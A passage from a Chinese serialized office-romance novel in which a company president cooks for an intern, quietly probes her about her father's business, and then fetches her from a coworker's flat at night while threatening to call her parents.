眼见顾总嗓音里含了丝不明显的愉悦,刘娜不禁在心里偷笑着应道,“好的顾总。您也早点回去休息。”
“肖远舟的宝贝疙瘩学着给你做面?”安祈攸待刘娜离开,啧啧叹道,“肖总知道了不知道会不会把你拉进黑名单。”
“她伸出橄榄枝,我没有拒绝的道理。”顾程的目光落在显示器上,“小安,南区的事情,我不打算再等了。如果那几个老技工一意孤行,就按合同来吧。”
“怎么突然心就硬了?”安祈攸诧异地皱了眉,“这都扯皮几个月了,您要是早点能狠狠心,南区的整顿就您一句话的事。”
“老胡是有了异心,但赵老他们,是真的对华驰感情很深。”顾程深深舒了口气,再次仰头靠向椅背,伸手揉了揉眉心,“他们只是接受不了改变,也接受不了一辈子的手艺和经验有一天被科技取代。但大势不可违,如果一直放任下去,不仅对公司发展不利,更会伤了其他员工的工作热情。我们能做的,已经都做了。”
“老赵说,生是华驰人,死是华驰鬼。”安祈攸认同地点了点头,轻嗤道,“总是倚老卖老。要不是你愿意接手,破了产他就是想死,也没华驰的名分给他死。”
“元宵前就先这样吧。”顾程缓缓睁开双眸,直身拿过桌上的业绩考核标准,“你也趁这几天休息休息。节后有的忙。”
“说起来,你不是应该过了十五才回吗?”安祈攸奇怪地问道,“还以为今年你会在那边陪舒曼过十五。”
“呵,连你都觉得我在等她?”顾程扯了下唇角,“今年去北国是因为我爸想滑雪,可南区闹腾得太厉害,就早回来了。”
“你说这话自己信啊?”安祈攸撇了下嘴,想翻白眼,还是忍住了,“你那套公寓,跟舒曼在国内的家似的,除了她和菲菲,还有打扫的阿姨,连我都不知道密码。你这双标不要太离谱,我不是你朋友?”
“你对我家那么大兴趣干嘛?”顾程意兴阑珊地掀了掀眼皮,目光落回考核资料,“一天到晚瞅着你这张雄激素过剩的脸,回家再不歇一下,我怕哪天一个忍不住就开了你。”
“真是没良心。”安祈攸嘟囔一句,也拿了几份资料坐下来,可还没等他再说什么,顾程的手机在桌上震了震,他便识相地保持了安静。
爱耗子的鱼:【顾总,泡面我最拿手。要不晚上请您吃荷包蛋泡面吧?】
顾程挑了下眉。
紧跟着又收到一条:【顾总,晚上吃鸡蛋不好消化,要不我们就吃蔬菜泡面吧?】
顾程深深吸了一口气,回复道:【你请人吃饭,规矩都你定?诚意这么足?我不吃泡面。】
系统提示:您还不是【爱耗子的鱼】的好友,请申请通过验证。
顾程不解地把手机拿给安祈攸,“这什么意思?”
25. 第 25 章
第二十五章
安祈攸接过来就笑了,“她以前把你拉黑过?哈哈,就上次蛋糕那事儿吧?这得让她把你删除了,重新加一次。不然只有她能给你发信息,你回复的她看不到。”
正说着,又收到一条微信:【五分钟内不回复就当你答应了。六点半开饭,请准时过来,谢谢。】
“哈。”安祈攸憋着笑把手机递回给顾程,“这姑娘自说自话的本事可是跟你有一拼。这都六点了,顾总,赶紧回去吃泡面啊。”
顾程接过手机,抬手指了指自己的额头,“她这儿跟一般人可能不大一样。后天定在哪儿?”
“还是食神。”安祈攸正了神色,“您还是七点过去吗?”
“这次全程。”顾程摇了摇头,思忖了一下,才说道,“经理以上的不要列席,只邀请一线。”
“你这是打算……”安祈攸顿了一下,点头,“那我明天就发通知,家在异地的按标准报销?”
“嗯。”
*
顾程回到公寓的时候,已经六点四十。按部就班洗洗澡换上休闲的睡衣,他这才慢悠悠下了一层楼,摁响门铃。
肖瑜郁闷得很,隔着猫眼看到是他,拉开门,小脸上都是委屈,“顾总,说好的六点半,现在都七点多了……”
“我答应你了吗?”顾程信步进了屋,棉拖踩在木质地板上,因着屋里一股子的泡面味儿皱了眉,“真的做了泡面?”
“你没回复,我就按泡面做了。”肖瑜有点理亏地点了下头,指指餐厅,“您先坐,我去端。”
“我不吃泡面。”顾程一脸嫌弃地拒绝,回身又拉开房门,“蛋糕切一半留下,剩下的给我拿上来。”
“哎你等等。”肖瑜见他转身就要走,连忙喊道,“我现在就切,您直接拿上去吧。”
“你不是也还没吃饭吗?”顾程回过头来,上上下下打量了她一遍,“换套衣服上来。我不喜欢回家后还看到穿职业装的人,心累。”
“……”
*
燕北北要到十一点才能到家,肖瑜换上舒适的居家服,看看那两碗都快泡成拌面的面,扁了下嘴,还是听话地跑去把蛋糕切了一半留下,剩下的,依旧放在盒子里,端上了楼。
她还是第一次来到霸总的独居领地,难免有些激动。
价值连城的古董,限量版的藏品,黑色冷基调的房间,小说里的霸总豪宅清一色如此。不知道这个接地气的顾总,会不会再给她带来别样的惊喜和灵感。
按完门铃见到顾程,他接过蛋糕盒,似乎对她宽宽松松的卡通居家服很满意,点了下头,把她请了进去。
客厅很大,居然不是想象中的黑灰色高冷禁欲风,而是奶咖基调的新中式。茶台,屏风,山水字画。典雅的吊灯洒下满室柔和的光,很温馨的居家氛围。
肖瑜下意识往他靠近自家阳台的方向看去,却被那处的室内青竹挡住了视线。
“没有多余的拖鞋,你可以光脚。”
顾程的声音在前方响起,肖瑜这才赶紧又低头看了看,脱下拖鞋,光脚踩在了同样奶咖色的地毯上。
这趟总算没白来,灵感强得她恨不得立刻抱起电脑码字!
顾程瞧见她难掩兴奋的眸子,忍不住抬眼看了看座钟。
七点半。距离她的惯性发癫,大概还有一个小时。
他不易察觉地皱了下眉,加快了走向厨房的步子,“面马上就好。沙发上等十分钟。”
“顾总……”肖瑜往前跟了两步,满眼期待地问道,“您亲自做饭?我可以跟过去看看吗?我想学。”
接地气的霸总还会下厨。要不要这么惊喜!
顾程因她眸子里过于闪耀的光,咽了下嗓子,“你想跟过来就过来。别碍手碍脚就可以。”
“我不乱动的。”肖瑜一下就笑靥如花地蹭了过去。进到色调稍微深重些的厨房,她咬着嘴巴转动眼珠,就像往脑子里刻盘一样,一处一处,细细端详着实木橱柜和镂空的吊灯。
顾程也在观察着她。见她跟过来后依旧掩不住满眼的兴奋和惊喜,却没有发泄大喜大怒情绪的征兆,他暗暗舒了口气,点火下油丢了把葱花,香气扑鼻,转瞬把肖瑜的注意力吸引到了掌勺的霸总身上。
肖瑜还是第一次亲眼看到男人下厨。
除了过年,家里常年都有居家阿姨照顾。肖远舟和肖帅在家,至多也就是在穆青华亲自下厨时,帮着打打下手备备菜。
看到顾程又抬手注入开水,呛起一道烟后,慢条斯理磕了几颗鸡蛋下去,肖瑜在他背后忍不住重新打量起这个总让她有新认识的霸总,一边看,一边满意地不住轻轻顿首。
霸总肩宽腿长,比例近乎完美,简单的居家棉服都穿得像个睡衣秀的男模。动作不紧不慢,甚至看起来很优雅,似乎这些事情做得很习惯,周身那份松弛感,让人说不出得舒服。
顾程抬手拿起准备好的细面下入锅里,转过头来看她一眼,微微皱了眉。
些许严肃的神色,配着他此刻烟火气十足的姿态,让肖瑜激动得小拳头都握了起来,忍不住出声问道,“顾总,您以前是不是经常给女朋友做饭啊?”
专情的霸总,一定是为了初恋才学会做饭的,人夫感好强!
顾程闻言愣了一下,回头看向锅里的面,深深吸了口气,“你不要多想。我只是可怜你一个女孩子孤身在外,晚上还要吃泡面这么没营养的东西。我对你没有任何兴趣。”
肖瑜也愣了一下,连忙解释道,“顾总,我没有别的意思,您别误会。我只是很好奇,你平时那么忙,怎么还会自己做饭?是因为初恋而学会做饭的吗?”
“因为我妹妹。”她刚才看他的眼神令他很不适,可听到她明确表示没有想歪,顾程便忍了那份不适,尽量以平常心对待这个脑子异于常人的女孩子,“小时候父母很忙,我妹妹又很任性,坚决不吃阿姨做的东西。所以身为兄长,只好学点简单的厨艺保证饿不死她。久而久之也就习惯了。”
“原来是这样……”肖瑜不禁在心里又给她的小说霸总人设加了一分,继而有些奇怪地问道,“对了,昨天北北还说给菲菲发了微信,可她一个都没回,她最近又出国去玩了吗?”
“她前几天惹了祸,被我妈禁足了。”说话间,顾程已经盛好了面,转头示意她拿上餐具一起去餐厅,“手机和网络也全被断掉了,元宵过后才能被放出来。”
“……”这话说得跟顾菲在坐牢一样。肖瑜想起那个总是嬉笑着的女孩子,小心地问道,“菲菲性格挺好的,她惹的祸很严重吗?”
“嗯。”两个人在餐桌坐下,顾程又看了眼座钟,一边示意她可以开始用餐,一边拿回谈话的主动权,“你呢?家里有兄弟姐妹吗?”
“有啊。”香气扑鼻,肖瑜没想到一碗看起来清汤寡水的荷包蛋清汤面,也会勾得她食欲大开。她拿起筷子挑了一口,觉得整个胃都满足了,点着头应道,“我有一个哥哥,他对我也很好,不过他不会做饭。”
顾程也一边吃,一边漫不经心地问,“你哥是做什么的?”
“修车的。”肖瑜应得很快。溏心蛋只有一个,她吃完就
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抬眼去看顾程碗里的两颗蛋,委屈巴巴咬着嘴巴,“为什么你有两个荷包蛋,而我只有一个?”
“不是你说晚上吃鸡蛋不好消化吗?”顾程挑眉,看向自己的碗,“别打歪主意,这是我的。”
“我没想抢你的。你可以告诉我煮荷包蛋的秘诀吗?”肖瑜依旧眼巴巴看着他的碗,很气馁地说道,“我晚上为了煮面给你,浪费了四个鸡蛋呢,锅底都粘得好难刷。”
“没有秘诀,纯靠感觉,教不会。”顾程话音刚落,自己先愣了一下,继而不待肖瑜再说话,又开口道,“你是家里最小的孩子,你父母和哥哥一定很疼你。元宵节他们会过来看你吗?”
他今晚的目的很明确,套信息。可这话题怎么聊着聊着就被带歪了?
“不会。”肖瑜很得意地应道,“因为我今年要跟同事去看灯展,所以专门不让他们来看我。”
“灯展?”顾程放下筷子,意有所指地说道,“灯展是八点半到十点半……你,这个时间在外边没问题吗?”
“跟同事们一起,没问题啊。”肖瑜以为他是跟父母一样担心自己的夜间安全,笑了笑,“我还没单独在外过过元宵呢,这可是第一次看泽城的灯展,很期待的。本来北北还说想邀请顾菲呢,不过现在看来是没办法一起去了。”
顾程想起她的间歇性发作时间,觉得脑子有点疼。
他又默默挑了几口面,才道,“你父母还真是放心。不过我听菲菲说,你一直都很乖,不喝酒不夜出。是因为受父母的影响吗?他们是不是也都不喜欢这些?”
“我爸妈年轻的时候也很忙,经常需要喝酒,深夜回来也很寻常。”提起父母,肖瑜的唇角弯了起来,“我记事的时候,有一次睡到半夜跟外婆起来上厕所,看到爸妈醉到抱在一起哭,我也抱着他们一起哭。那会儿爸爸就跟我说,他一定要努力,让我和哥哥将来可以不再受酒的罪。所以从小我就知道,不喝酒不夜出对我是好的,是爸爸妈妈努力为我们争取来的。”
“真懂事。”顾程由衷地夸了一句,又问,“可你父亲是做生意的,晚上的酒局应该也还是不少吧?”
“我爸爸戒酒很久了。”肖瑜摇摇头,满眼的心疼,“因为他以前喝伤了胃,现在只有逢年过节在家里,会陪妈妈和哥哥少喝一点享受气氛,平时在外边都是不喝的。他也很少会在晚上出去应酬,一般都是中午去,就是为了多点时间陪家人。”
怪不得约了几次都没约到,时间不对,场合更不对。
顾程的唇角终于有了丝上扬的弧度,拿勺子喝了几口汤,起身拿了蛋糕过来,一边动手切,一边很随意地说道,“现在做生意,想不喝酒很难,尤其像你爸爸这样的个体户。我也不爱喝酒,可架不住场面,经常还是要出席一些酒局。不过,我也有一些别的方法跟生意伙伴保持关系,比如高尔夫,滑雪,运动,还有会所之类的。你爸呢?他平时都喜欢在什么场合谈生意?”
“我爸爸现在很少亲自跟人谈事情的。”一碗面加热汤下肚,肖瑜整个人都舒服地不行,尤其面前的顾总没有一丝架子,谈起生意场上的事情真诚又温和,她弯起眼眸笑道,“偶尔他会跟几个相熟的叔伯出去钓鱼,一钓就是一天,晚上就带新鲜的鱼回来让阿姨煮给我妈妈。我也不知道那是不是在谈生意,但是那些人都跟他有合作,应该是吧。”
“钓鱼很考验人的耐性。”顾程噙着笑给肖瑜切了块大蛋糕,自己也坐下挖了一勺,看起来心情果然不错,“我也喜欢钓鱼,鱼儿上钩那一刻的成就感,无与伦比。燕北北找我妹妹,是有什么事吗?”
26. 第 26 章
第二十六章
他话题转得有点快,肖瑜顿了一下,才摇摇头说道,“也没有什么特别的事情,就是元宵灯展,我们已经是朋友了,就想问她要不要一起去。”
“她最近在家里应该憋得挺难受。”顾程思忖着说道,“既然这样,算你们帮了她一把。回头我跟爸妈求个情,让她元宵跟你们一起去怎么样?”
“当然好啊!”肖瑜登时觉得这个做哥哥的跟自己的哥哥有了相似的亲近感,点着头道,“北北肯定会很开心的。她和菲菲一见如故,我也很喜欢菲菲的性格。”
“我妹妹很单纯。”顾程提起妹妹,眼神温柔了几分,“就是被惯得不知道天高地厚。你也是被哥哥宠着长大的,为什么好像没那么爱玩?”
肖瑜默了一下,一时竟不知道该如何回答。
其实,她不是不爱玩。可当心里有了那个人,满心满眼都是他,外界的喧闹繁华根本吸引不了她一点,只想腻在他的身边,得到他,与他长相厮守。
大三的时候,因为某次告白被拒,她在燕北北的怂恿下,横了心要去联谊,放飞自我,彻底不再想着那个渣男。
可那天还没出校门就被姜昊堵住,狠狠教育了一顿,警告她要是敢去联谊,这辈子别想跟他再说一句话,连朋友都没得做。
肖瑜一下就怂了。
*
眼见面前的女孩子突然沉默下来,原本花朵般灿烂的笑颜霜打般蔫了下去,顾程奇怪地皱了下眉,不禁抬眼又看向座钟。
八点一刻。
他心头突地一跳,不动声色收起切蛋糕的刀,缓声道,“把蛋糕吃了,你差不多也该回去休息了。”
“谢谢。”肖瑜回过神来扯了下唇角,起身帮他收拾餐具,“我很饱,蛋糕吃不下了。谢谢你的晚餐,我来洗碗。”
“不用了。”顾程跟她一起端了碗和盘子进到厨房,目之所及刀具架上的尖刃闪闪发光,他挪了下脚步挡在前面,温和地说道,“我自己来,我不习惯有人动我家里的东西。”
肖瑜有点不太好意思,可见顾程很坚持,她也只好客气地又道了几声谢,被他一路送到门口,这才穿了鞋子轻快地进了电梯。
电梯门合上。
顾程长长舒了一口气。
*
周三,是燕北北他们搬家的日子。
几个实习生里除了肖瑜,全都被放了半天假,整个下午都在忙碌搬家的事情。刘明坤他们几个还在住校,公司安排的搬家车辆开去学校的时候,无形中在校园做了把宣传,令华驰人性化管理的形象深得人心,吸引了不少在校大学生的关注。
肖瑜上午还能按部就班地工作,临近下班时,心早就飞出了老远。五点一刻刚过,她连忙收拾了东西跟赵姐打声招呼,飞快地走出了办公楼。
新居第一天,燕北北他们都兴奋不已,更何况公司专门给了大家半天假收拾,肖瑜带着礼物赶过来的时候,客厅里已经摆好了鸳鸯锅和几大盘肉片、丸子和蔬菜,张弛、刘明坤正在摆凳子上餐具,燕北北和陈茜她们也在切水果、倒饮料酒水,热热闹闹,喜气洋洋。
“在泽城有家了,这种感觉真好!来,大家伙儿先干一个!”
一群人喝酒的喝饮料的都有,豪情万丈干完了一杯。第一个提酒的张弛,喝完手中那杯啤酒,激动地竟然脸颊都有点泛红,“今天公司去人帮我们搬家的时候,你们不知道我那些校友多羡慕。我们还只是在实习而已,可谁家实习生能跟咱们这么幸运,有总裁办直接安排帮忙搬家的?”
“是啊,连搬家公司的钱都是公司出的。”陈茜他们也同样感慨地应和道,“老总对员工真的很好。我听师傅说,很多福利都是他接管华驰之后逐步添加的。先不说华驰之前几乎破产,就算昔日辉煌的时候,待遇也比不上如今一星半点。”
“我也听前辈偶尔八卦过。”坐在陈茜和肖瑜中间的刘琳芝喝了口果汁,脸色红红地笑道,“大家讨论起来,都说老总不仅人帅,作风清正,心也善。一门心思扑在事业上,连女朋友都没功夫找,最初的时候还往里倒贴了不少钱,好像到现在还欠着外边好大一笔私债呢,可员工福利从来都没亏欠过。”
这些八卦,肖瑜还真的没听过,原本因为周美茗,她跟办公室里的人关系就有点微妙,那些人就算嚼舌根,一般也都会避着她。于是她转眸去看燕北北,只见燕北北也惊讶地看着刘琳芝,一脸的不可思议,“你说老总在外边还欠钱啊?可看着不大像啊?不过……还别说……”
燕北北转头又去看肖瑜,两个人眼神对上后,突然都有些释然。
怪不得霸总不开迈巴赫,不爱喝名酒,戴伯爵基本款……原来外强中干,还欠着外债呢。
*
彼时正在开会的顾程打了几个喷嚏,一边的安祈攸连忙递上纸抽,不解地问道,“暖气不够?”
“不是。”顾程拿纸巾揉揉发痒的鼻尖,清了下嗓子,看向面色不定的各厂区老总们,“明天就是元宵,不要多想,好好过节。节后南区的转型重建是第一要务,但是各厂区内部整顿也必不可少。”他说着,看向南区负责人胡新华,笑了笑,“如果明天中午胡总可以宴请一下赵老他们,最好不过。可以超标,直接找我签字。”
“谢谢老总。”胡新华扯了下唇角,也笑道,“旁人都好说,赵老最倔,一辈子的热情和心血都给了华驰,往年十五别人都回去陪家人,就他一个人在厂区里守着车间喝小酒,怎么劝都不行。”
“他不是有个马上研究生毕业的孙子吗?工作安排了吗?”顾程笑了笑,伸手合上面前的资料,“有时候也得多关心关心大家的业余生活,赵老这年纪马上就退休了,干了一辈子舍不得我能理解。可日子得往前看,如今考公找工作,可不只看个人,往上数三辈也都得清清白白。找时间跟他谈谈心,看看有什么需要帮忙的,如果我能说上话,不介意出点力。”
胡新华唇角的笑意微滞,却应得很快,“老总体恤,我明白了。”
顾程这才把目光又转向众人,笑意很浅,“行了,都赶紧回家吧,明天一早把工作安排好,家在本地的下午能走就走,异地的也都早点回去准备准备,尽量五点半就能开宴。”
“五点半那么早?”待众人客气地道别离开,安祈攸有点不解地看着顾程,“您不是打算趁着酒席逐一谈话吧?那种场合,估计也没人敢多说什么。”
“早点开始早点结束,晚上还得陪妹妹去看灯展。”顾程低头看了眼表,“一顿饭而已,话也是要问的,但试探的不是内容,是各个厂区的管理风格。你也回去吧,我今天要健身,不加班。”
“你说你。”安祈攸挑了下眉,没个正型地坐在会议桌上,低头笑道,“连个女朋友都没有,健身给谁看?有那功夫,不如去猎艳。”
“我健身是为了自己,也是为了未来老婆。”顾程不屑地斜他一眼,起身道,“乱七八糟的女人不值得我浪费精力。你这种雄激素过剩的男人不会懂。”
“你就埋汰我行。”下了班,安祈攸全没了人前恭谦的模样,跟了他起身边走边笑,“你这种男人,居然二十七了还没开过荤,说出去谁信?顾总,别怪我没提醒你,找时间去医院看看是真的。你这家业将来还得有儿子继承呢。”
“滚。”
*
撸铁,晚餐,洗澡。
顾程按部就班换上睡衣,看了会行业新闻,等把圈过重点的考核制度又详细看了一遍,他捏捏鼻梁起身,习惯性
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拿了气泡水走去阳台,却因本该亮起的橘光处一片漆黑,疑惑地皱了眉。
九点,是她最癫的时候。
他忽然想起今天是燕北北搬走的日子,立刻拿起手机给肖瑜发了微信:【你在家吗?】
系统提示:您还不是【爱耗子的鱼】的好友,请申请验证。
顾程暗骂一声,直接下楼摁起了门铃。
许久都没人应声,他只得拨了电话给刘娜,问完燕北北新家地址,换上衣服匆匆赶了过去。
定时炸弹一样的宝贝,谁有谁遭罪。
远洲的单子将来要是拿不下来,他得把这个叫肖瑜的给生吃了。
*
因为第二日还要上班,再加上租住的是单元楼,隔音并不是很好。一群年轻人吃完喝完,早就各自回了卧室开始享受新居首夜。听到敲门声的张弛去开门,迎面见到是顾程,还以为自己喝多了发懵,好半天才瞪大眼睛把身板挺得笔直,“老,老总您好!”
刘明坤也穿着睡衣走了过来,见到顾程,同样目瞪口呆。
顾程点了下头,因张弛浓重的酒气,不禁皱了下眉,“我找燕北北有点事。”
“她可能睡……”张弛正要解释,刘明坤却扯了他一下,把顾程请了进来,“老总您先请进,我去帮您叫北北。”
老街区四室一厅的房子,年代太久,很简陋。餐厅客厅在一起,除了两张老旧的沙发,只有一张偌大的餐桌和几个凳子。
顾程在张弛的引领下坐去沙发,环顾了四周后问道,“租金贵吗?”
“四室一厅,我们五个人分担,还行。”张弛有些拘谨地挠了下头,看向顾程的目光充满感激,“老总,谢谢您,谢谢公司。今天搬家的时候,我那些同学可羡慕我了。”
“不客气,应该的。”顾程笑了笑,看一眼轻轻敲着某间房门的刘明坤,又回过头来问张弛,“你们是五个人,只有四间房,怎么住?”
“我跟阿坤是男生,我俩住一间,有两张单人床。”老总的关切,让张弛越发感动地心里发热,很认真地回答道,“她们几个女孩子单独住。这里条件很不错了,虽然简单了点,但是离公司近,周边购物也很方便,您别担心。”
“员工宿舍的事已经在筹备了。”顾程点了下头,再次环顾着周遭,语调里有丝遗憾,“可能还要你们再苦上一年半载,不过只要有心留在公司,未来一定不会让大家失望。”
“我知道,老总。”张弛狠狠点着头,都不知道要怎么表达自己的感动好,一个五官粗犷的大男孩,眼眶都要红了,“先前我那些同学听说我是进了轮胎公司,都笑我一个学财会的要去流水线当工人。三五年后同窗聚会,我就看他们怎么羡慕我。”
“呵。”顾程忍不住因他稚气的言语低笑一声,刚打算再说些什么,抬眼看到穿着睡衣跟在刘明坤身后过来的燕北北,他起身,朝刘明坤和张弛客气地说道,“你们早点休息,我问燕北北点事情就走。”
“好的老总。”刘明坤跟张弛很有眼色地赶紧进了卧室,轻轻关上了门。
燕北北很尊敬地跟顾程打了招呼,一脸不解,“老总,您怎么会这会儿来找我?”
她虽然先前跟顾程和顾菲有过不少交集,但也没熟到连搬家都要他来送礼的地步,再说他还两手空空。委实奇怪。
“肖瑜的手机号。”顾程也很直接,拿出手机解了锁,“我找的是她。你知道她平时晚上不回家会去哪儿吗?”
“啊?”燕北北眼珠转了转,报完号码看到顾程抬手就拨了出去,她犹豫了一下,说道,“顾总,你找肖瑜?她就在我床上啊。”
顾程身形一滞,挂了刚拨出去的电话,看着她一字一句地重复道,“她就在你床上?”
27. 第 27 章
第二十七章
“嗯。”燕北北狐疑地瞅着他,“她今晚陪我住,所以您找她是有什么急事吗?”
顾程深深吸了一口气,十分克制地伸手卷了下袖口,又在沙发上坐下来,“让她穿好衣服,现在,立刻,跟我回去。”
“……”燕北北咽了下嗓子,觉得心惊得很。
她昨天不过是出趟差晚归而已,晨起听到肖瑜说昨晚是顾大BOSS亲自给她做的面,她本来就觉得够惊讶了。这大晚上的,小鱼儿就是在她这里住一夜,顾总居然一点不顾忌地追过来要带她……回去?回哪儿去?
所以到底发生了什么事她不知道?还是这个顾总自打跟肖瑜相识,就打了别的主意?哦莫,不会第一印象才是真的吧?变……态……跟……踪……狂?
燕北北的眼神变幻肆无忌惮,从最初的惊讶,到最终的惊恐。
顾程不瞎,眼看着她一脸惊疑不定,他抬手摁了下额角,只得又起了身,“你是打算让我亲自去喊她?”
“不不,不,老总,我去,我去,她光着,啊不,她没穿衣服呢,您等一下啊。”
燕北北说完,一个转身兔子一样跑进屋关上门。顾程却因她的话,怔了怔,狠狠捏一下眉心,又坐了下来。
光着?在一个男女混杂的出租屋里,睡觉不穿衣服?
还真是乖得很。
*
“顾总来……带我回去?”
肖瑜洗完澡坐在床上还在擦头发,看燕北北见鬼一样跑进来本就奇怪,听她这么一说,越发莫名其妙地挤了眉,“我为什么要跟他回去?”
“所以啊!”燕北北打量着她白嫩嫩雪色的脖颈,还有自己穿起来稀松平常,到了她身上胸臀都嫌紧的秋衣秋裤,不满地问道,“你们两个到底趁我出差的时候做了什么?你怎么什么都不告诉我,你还当我是姐妹吗?”
“你怎么说的跟捉奸似的。”肖瑜简直要被她逗笑,一边依旧慢悠悠拿毛巾擦着头发,一边也不解地蹙着眉头,“就一起吃了顿他做的面啊,还有就是,他说明天会让菲菲跟咱们一起去看灯展。别的什么都没有。”
“你确定?”燕北北抬手在她的小腰上捏了一把,不怀好意地笑道,“那你猜,会不会吃顿饭后,他就看上你了?”
“怎么可能,连鸡蛋都舍不得多给我一个。”肖瑜翻了个大白眼,摇摇头,“不管有什么事,我今天都不要加班。你让他走就好了,有事明天再说。”
燕北北连忙摆手,“你出去说,我可不敢招他。他看起来才像是来捉奸的。”
肖瑜也觉得奇怪得很,起身扯了大衣往身上一套,一脸莫名其妙走了出去。
顾程见她出来,先是起身上下打量她一遭,见她头发还很潮湿,白嫩嫩的脚丫子也光着,不由便皱了眉,“就打算穿成这样回家?外边很冷。”
“我今晚就住这儿啊。”肖瑜裹了下大衣,眉头也挤成一团,“顾总,有什么事不能明天说的吗?”
“你一个女孩子……”顾程握了下十指,到底因为这是在几个实习生家里,压低了声音轻斥道,“去换好衣服回家。不然我立刻让学校联系你家长。”
“……”肖瑜觉得这人简直无法理喻,歪着头看神经病一样拿大眼睛瞪他,“你当我是三岁小孩吗?哪儿有你这么莫名其妙的人。我就是在闺蜜家里住一晚,还要让学校叫家长?”
顾程眯了下眸子,摸出手机就打电话,“安祈攸,立刻给我联系肖瑜的学校,通知她家人,她今天夜不归宿,跟几个喝过酒的男……”
“你有病!”肖瑜气急败坏地伸手拽下他的电话,连忙回身去屋里换衣服,“你等我一下,很快。”
*
车里暖气很足,肖瑜火气很大。偏她身边那个莫名其妙的神经病,看起来火气比她还大。
一路开进车库,顾程并没有立刻解锁,而是转头盯着她,似乎已经压了脾气,语气仍然十分不善,“你不是很乖吗?那屋里住的有男人,今晚还喝了酒,你就这么不穿……你就这么一点不在意地住下了?”
“你是我爸爸吗?你凭什么管我?”肖瑜简直气不打一处来,斜着眼睛都懒得正眼看他,“我就是在你公司实个习,又不是卖给你,你是不是闲的。”
“你在我公司实习,我就得负责你的安全,不然你以为我真闲得很?”顾程也是气得直咬牙,“肖瑜,以后你怎么样我不管,可这半年实习期,你给我老老实实别出一点儿事,不然你别想好过。”
“你就是有病!”肖瑜气得使劲儿踩了踩地垫,胸膛不住起伏,“那么多实习生你不管,就只管我。那屋里只有两个男生,别的都是女孩子,怎么就不安全了!”
“别跟我闹,我没那耐性。”顾程瞥一眼她敞开的大衣下,气呼呼高鼓鼓的胸脯子,挪开视线闷声道,“以后下了班乖乖回家,要出去玩跟我报备。不然我保证你爸妈随时会开夜车过来看望你。”
“你!”他这话,简直像极了以往每次刚想蹦跶,姜昊就会威胁她的调调。肖瑜气得眼睛都红了,却又说不出什么反驳的话,咬着嘴唇,又气又恼地瞪着他。
委屈至极的眼神,无声地控诉着,‘你欺负我’!
顾程被她看得皱眉,可火气却莫名消了些,揉揉额头缓了语气,“喝醉的男人,有时候很难自控。你是个小姑娘,不要总把这个世界想得很单纯。我是你的老板,工作生活上都要为你负责。等你拿到实习报告离开华驰,我保证一句话都不跟你多说。”
肖瑜抽了下鼻子,转头去摸门锁。
顾程见她那副样子,只觉气得心口疼,打开车锁让她下了车,也沉默着不再说话。一路上了电梯,亲眼看到小姑娘闷不吱声摁了密码进门,他才扶着额头痛苦地闭了下眼。
这可真是给他送了个小祖宗。
连进门密码都随随便便当着别人的面输,有没有一点脑子的?简直是要他做二十四孝奶爸的节奏!
*
也是被肖瑜气得很了,直到第二天一早顾程才反应过来,她昨晚居然没在该发作的时间发癫。
他又想起之前顾菲带了肖瑜和燕北北去唱歌,还有那个拥她在怀、当宝贝一样护着的男人。那天似乎也是八九点的样子,肖瑜同样没有发作。
所以其实……独处,或者说,电脑,才是她夜间情绪不稳的引子?
因元宵节行程安排得很满,到了公司之后,顾程也没再费时间寻思。而肖瑜一早到了食堂用早餐,就觉得几个实习生看她的眼神有点不太对劲。
“昨晚那么一闹腾,大家都在猜,你那个不冒头的男朋友,会不会就是顾总。”燕北北一脸无奈地凑在她耳边,悄声说,“听说那天下班,总秘等在办公楼给你送蛋糕的事情,
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公司也都传开了。嗳,你师傅昨天是不是也没难为你啦?”
燕北北这么一说,肖瑜仔细想想,好像昨天早上上班,周美茗还主动跟她打了招呼,而且一整天说话也都没再阴阳怪气,原来是因为刘娜拿来蛋糕,让她也误会了自己跟顾程的关系?
想起那个大晚上莫名其妙把自己从闺蜜床上挖走的男人,肖瑜还是气不打一处来,狠狠嚼了嚼嘴里的豆芽,低哼道,“他有病。喜欢管自己的妹妹就算了,连我都要管。昨晚还威胁我以后下班要是不按时回家,就要学校叫我家长!比姜昊都管得严。”
这些天来,肖瑜还是第一次提起这个名字。燕北北连忙看了她一眼,见她不像是要撇嘴去哭,她这才轻轻舒了一口气,贼贼地笑道,“所以他是不是真的想追你啊?不然怎么看那么严呢?你俩昨晚回的你家还是他家?”
“当然各回各家啊。”肖瑜嘟着个嘴,郁闷地都没什么胃口吃饭了,“他不可能追我的。时不时还要警告我一下,说他对我没兴趣。可我对他也没兴趣啊,他比我哥都老,我只对他的霸总人设有兴趣。”
“那可完犊子了。”燕北北喝口汤,思忖着说道,“现在大家明着没说,可估计心里都认定他是你男朋友了。放眼全公司,以后哪儿还有人敢追你啊?还有半年你就回家了,以后难道还真去相亲找对象?小鱼儿,大学时光就这么过去了,你不觉得有点亏吗?”
“我原本也没打算在这边谈恋爱。”肖瑜拿筷子戳了戳粥,垂下眼眸,“我甚至也没想过再恋爱。但是……”她深呼吸了一下,十分不爽地说道,“我不希望自己跟他扯在一起。更重要的是,我不想连最后这半年,都要被人拿家人威胁我,总想管着我。所以,我必须得想个办法,首先得弄清楚他对我没兴趣,为什么又老想管我。”
“正解。”燕北北也点点头,两个人起身一边去送餐盘,一边悄声商议道,“晚上见了菲菲好好问问,她哥的脾性她最懂。”
*
泽城因为工业发达,每年的元宵节,各大名企都会赞助灯展,传统节日的氛围的确要比其他城市浓重。
因为顾程一早交代过,所以今年公司酒宴开始得很早,八点多已经进入尾声。
这是他第一次全程参加元宵聚会,而且除了安祈攸,没有任何一位总经理以上的领导受邀。他在宴席上又十分平和随意,逐一跟来自一线的员工敬酒祝福,一场聚会下来,收获了不少一线人的好感,而他原本的目的也基本达到,闲谈笑语中,对每个部门和厂区的管理风格有了更具象的了解。
总部因为就在他眼皮子底下,那些人跟他见得多,说话也相对随意些。西区北区和工业园那边的几个厂区,有的员工一看就是提前被上过紧箍咒,一声声赞美自己的领导,问就是没问题,加班都加得开心得不得了,可明显眼神闪烁,不敢多言。东部在刘绍管理下的厂区,有感激领导的,有多少提出些建议的,可见平素员工在自己的地盘或多或少有点话语权,管理层不至于独断专裁。
至于问题最大的南郊,人人看起来都不怎么精神,想来一个是因为担心厂区转型影响到自己的岗位,另一方面,跟几个老技工近期时不时闹出的糟心事儿也脱不了干系。
宴罢安祈攸正要去开车,顾程却叫住他,一手撑着额头,一手摆了摆,“你也早点回去吧,把肖瑜叫过来,让她开我车。”
28. 第 28 章
第二十八章
